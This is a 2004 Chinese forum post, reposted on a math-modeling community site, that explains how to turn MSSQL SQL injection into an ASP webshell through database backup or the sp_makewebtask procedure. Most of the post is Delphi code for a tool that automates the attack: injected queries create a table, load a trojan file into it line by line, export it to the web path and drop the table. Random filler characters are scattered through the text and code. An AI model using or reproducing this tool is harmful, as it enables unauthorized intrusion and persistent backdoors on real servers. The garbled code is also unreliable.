数学建模社区-数学中国

标题: SQL注入得到WEBSHELL [打印本页]

作者: 韩冰    时间: 2004-11-21 00:13
标题: SQL注入得到WEBSHELL
<>一.通过SQL注入得到WEBSHELL的原理: - b, `& U( I- }! ~" K+ V8 T
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
! ~: [: ^. |' A3 Y分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
, w2 D, P/ o; u0 y3 u% Q再来看看CZY的方法吧。 3 }$ y; u+ g- m
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
) `# c* a+ h; z8 O以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
) \, `9 W  z5 ]) E* }  l二.利用DELPHI去实现功能的前言
: }+ O+ J1 u$ ]6 z" \原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
+ @" n! ]: Q% T% E  J% h# [" {  x" y5 U* s; g
三.如何利用DELPHI得到WEBSHELL。
& x: c1 ]/ b* Z" ]' k6 i6 h* C程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。" f% M7 Z/ Y( J" R7 ^3 ^$ q2 B
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: & y5 w! \3 Z6 o
& L! q/ X, C$ g8 V1 S
' U$ l! x# i: v/ y) A
% X7 x; E' F3 V+ X- v6 p
现在来写程序了。
4 U" L- V& `- B/ B! W4 ^我们首先定义一个RECORD。 5 R7 p5 d. \7 g+ V7 S
如下:) x7 W& g2 A% l  T8 G- D
Type
5 a* |" Y4 x& G; k% N- K( XSetOption = Record + N- c# a+ P7 ~9 N  n( W2 @
TableName : String; //用来保存要创建的表名. ; t& T" T; x% j% ]$ Y
FieldName : String; //用来保存要创建的字段名.
0 M  C8 E+ ~8 uFiledType : String; //用来保存创建的字段名类型.
( g$ W# m3 [* p/ g" {End;
, T. s: k4 L) @, I% c+ u# sFiledType字段类型的值是以下类型的一种:
  J* X; X5 W1 p8 m( ~* YBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint 3 |$ i; I$ Q- w  u2 m9 {- t! P8 w+ A
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. ! ^# X% P0 J3 u- v+ J
再定义一个全局变量:
. \' ~; _  U0 m0 N- ]. bVar " k& `  o2 d% U: o6 a
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
9 B3 T- t9 _! I) O好了。在表单创建的过程中,我们为RECORD记录输入默认值.
% z; Z8 x4 _9 _/ F4 o* V代码如下:
9 \2 A2 {% x* h; q  h9 o& r2 Oprocedure TMainForm.FormCreate(Sender: TObject);
; W% z9 Z5 o( n9 Z5 v8 _2 ~begin
# S6 W* e) A0 k( |! y, x3 OsOption.TableName :='cyfd' ' N- n. J6 S! F5 ?2 c
sOption.FieldName :='gmemo'
' j$ y8 z* z7 r0 v1 P# s4 csOption.FiledType :='text'
% w7 }4 y; ~8 m) z! s) h( lend;
2 a! D+ s1 }0 D/ e现在我们添加开始执行命令的代码。
! ?3 W3 M5 F5 Q7 Q- ~' O先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
, C4 s( K5 V0 C  Y: z9 H% P创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. 3 t2 w; E! f6 b4 N! @" ]
在程序开始执行前,我们得先检查一下用户的输入   j3 f; f3 M! p' d6 `5 k0 l' `
定义一个Checkinput函数.
9 B: w/ W# Y2 L: f如下: " X. u+ x. X- q2 o: J3 P
Function CheckInput : Boolean; / D+ Q4 Z0 X3 y$ [, ~. E1 M
Begin
# B  k3 a# e5 h% Q, `Result := False; : U1 B( a" d$ y. C1 F1 v
if Trim(urlet.Text) = '' then
% N: [" W/ b4 Q9 NBegin / W* ]8 ~( i. y1 J$ a
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); * p6 E2 E  I/ X/ v
Exit; 8 \  b2 I- i- Q3 g: l; \0 L% ^8 Z
End; + y/ G# ]( D$ ]0 Q! ~( A9 k
if Trim(ShellPathET.Text) = '' then 7 Y- K: t5 a+ I9 x
Begin
; a4 `( K# @: ]& H  |Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); ) o2 R4 x* m4 K. ]& z+ Q6 A) R
Exit; 6 u0 ]  q- H  N& K5 m
End;
6 p4 l8 \5 M7 KIF DefBDoor.Checked then
1 n' ]; Y$ i) U  ABegin
: D% x- i8 h" p) O; R/ k) cif Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
5 ], ~* w+ N+ h( bBegin 3 A  R5 T$ I7 K4 e( S
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
2 h  }$ \8 d8 ]8 d) G# l/ ]3 sExit;
3 C# O" `, P( |: J8 u$ [: zEnd;
; i: V; f' e& h  V4 ^  y- a( tEnd
% B& V; ^* d! y* s" k1 Y' n' z4 jElse
# p! @3 W9 d9 xif Not FileExists(CustomBdoorET.Text) then
! d- P' O- \5 g) {7 pBegin . a; k( M. T5 `' n# K( F& Z, E
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
. P% d4 q" o, K$ L& b7 m; {0 n* qExit; ; A7 t6 t8 y' j: V& n# Y! K' X
End;
- h" k9 s' \1 O4 F. z& F5 UResult := True; 9 a" p$ f6 v* B7 v# ~8 x" Q0 T/ X( J
End; 3 M; F. |( O* h" T) p) i8 l
在最开始加入:
/ B4 t- W. S; K7 A! C5 zIF Not CheckInput then Exit; //如果输入不合法就退出过程.
  [# m" _5 P. A+ }5 U好了,如果用户输入没什么错,我们就来下面的代码。 1 @* b! Q% X7 G, P
首先我们把IsStop设为假。创建BdoorList。 ! ~2 S  K  ^/ l- \/ {1 x% d# U
BDoorList := TstringList.Create; 0 m3 V( W% J( V4 {9 H
再加木马内容到BDoorlist.
6 v) z( S% k* p8 UBDoorList.LoadFromFile(CustomBdoorET.text);
- G9 I6 P0 a+ ~2 J好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
% ^* Y$ ]4 W: o( V代码如下: 2 t+ H) U5 ~+ e3 |' @# e% N; }
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); , m# M3 ^1 M5 c2 V* W  t$ Y/ N5 P. j
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
6 F& [# u6 P! G7 y$ [! B8 |0 M接下来.我们就提交建表的功能了.
3 f7 q3 V7 O- V* L8 U7 e, Y8 d$ K" dMemo.Lines.Add('建表...'); ) v8 p" ^4 H" x9 `0 Y
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
/ v! z7 g: ^, H这样我们就创建了一个表。然后.我们向表中加记录: $ s% S8 y, G* r% J6 |
代码如下: % B) z/ ?! |* r: C1 M
Memo.Lines.Add('加数据...');
, L1 o) H& [) A1 ~: c; D) FMemo.Lines.Add('');
* l$ l8 `4 {( y/ [! F6 {2 N! ^5 {For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. , j! y4 w* H0 U) u
Begin
1 R0 j8 h, t2 k  t9 RIF IsStop then //这里如果点了停止按纽程序将终止任务. / u3 B) F& U9 `* H$ Z0 H
Begin / P2 P8 z' K7 U5 Q, B. _
BDoorList.Free;
6 o0 j: t9 l  x1 x6 LExit; ( l: k% z: y0 n$ m; @4 i
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); 6 A- \4 {) W( @- i
Memo.Lines.Add('Add Line '+Inttostr(i+1));
% p$ g8 v) W$ d) k+ [End;
( W) S: P& W7 d2 A5 {3 g% w现在就是导出数据生成木马了.
8 i/ I2 z+ H# J# o5 _& F, [# WMemo.Lines.Add('导出数据...');
: m2 O4 `/ w+ G- E  S2 ~Memo.Lines.Add('');
& a- C+ V* ^* q* {: p- lIF BKData.Checked then //如果选中采用备份数据就执行下面的命令. 5 [8 g4 v' ^$ y
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') 0 y+ q4 U% C2 i
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); : _0 G4 g( ~* `7 @; q  y
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
6 y5 _0 f) n3 _8 Y0 t4 F+ }9 k1 _这样我们的任务就完成了。下面来释放变量.
. Z4 O& D) o# h& XBDoorList.Free;
  k; P  G2 s" z1 q# E+ R再来向停止按纽中添加点击事件: & O6 F8 L) I9 a/ H* ]. |
一行代码就行了:IsStop := True;
3 C$ r! m' H- ]9 U到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。 - p2 G: e6 z/ _! v: t4 A
设置表单中先引用主表单.然后在界面中添加二个EDIT控件: , `0 K3 A- s& K) M
第一个名称为:TableNameET //保用户输入的存临时表 & Z5 M6 J4 h; y2 C8 J$ D
第二个名称为:FieldNameET //用来保存用户输入的字段名.
3 q- _; o8 I, E; d1 n' |" T! M再添加一个Combobox //用来保存用户所选的字段类型值. 4 e- K. \7 j! T8 k7 S/ ]4 i, C
名称:FieldTypeCombox
  J& }$ @+ {8 GOK.界面如下:
- \1 v1 w2 F2 u% c. I
' o* i. E: L& ]6 o% V4 h  \代码如下: 8 `, h- ~. j4 t8 i! P3 I8 c# i' M
定义一个过程,主表单好调用这个设置。 + M3 U! Z( D9 t; b3 ]' Z* u
Procedure ShowSet;
0 m- m6 Q6 D2 t' n. d! fBegin 6 i0 ^/ Y& B, a8 d
Application.CreateForm(TSetForm,SetForm); ! c& ~+ I( q1 ~( c
With SetForm do
- G2 q# ?' C' F& ?. ABegin 5 \! R9 x' d' j/ B$ S8 z
TableNameET.Text := sOption.TableName;
( @6 |: Z: N  ]5 _* xFieldNameET.Text := sOption.FieldName; ' G/ M  U0 r8 b' m5 y. f
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); ' E; h" L- J  @% [" ]# P$ V3 h" {4 J
End;
$ y, i( B7 t/ O& P5 _- d2 `, ]SetForm.ShowModal;
9 ~5 @& q/ s" o& x5 q9 F1 h; q- Y) x' F! mSetForm.Free;
" O( p% m& S$ L5 cEnd;
  V4 T; R6 B; Q+ z( Y8 B6 ?9 h在主表单中设置的点击事件中添加上showset过程就行了。
5 {( E: d! \' J8 [下面就是点击确定的代码了。 ) A" J4 b6 E; |4 i' P% F
IF CheckInput then . K5 O8 e4 f- {) Q% E, b" t
Begin
8 `, O" M5 ~: }) X( X4 X7 s1 S2 F& asOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. , G- P2 _3 T4 [; h- g5 }/ V' \
sOption.FieldName := Trim(FieldNameET.Text); . A6 y' G; v- ?+ x4 e
sOption.FiledType := FieldTypeCombox.Text; 3 j" |/ }8 w* P- W- b
Close;
; m4 y3 M8 a  Q. ?( B3 L( cEnd;
3 ?+ G. t% U8 Z% B6 D8 A# c: d这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
4 _' m: P9 X$ q, B代码如下:
  p" j$ m4 x2 C9 n4 \7 EFunction CheckInput : Boolean;
# T5 v% L' e6 V8 W2 Y/ }Begin
8 Z2 O3 b- b" lResult := False;
1 B3 l, B+ B. A4 h# iIF Trim(TableNameET.Text)='' then
& _( I/ J: Z4 p/ YBegin
" \  G" D% \/ LApplication.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); ( u: Z' H. I4 o6 `9 U' m2 w
Exit; 2 g  S$ j; l5 i1 n- m, I; R' ^
End;
- |% U+ P" _! o0 L! N  tIF Trim(FieldNameET.Text)='' then / Y% {" J7 `% `- s9 h
Begin 8 E% K, Z: M+ P/ y2 }; a+ n1 G# Z! u
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); - k& M1 f6 _7 F* x$ m% A
Exit; $ e9 z, B- l- l$ X6 S
End;
$ H7 r; p9 L+ D' x+ B) WResult := True; 4 y; |% F" c* \- i8 N) ^
End;
5 U+ b- B, f" D4 ^5 ^" P到这里程序就完了。</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5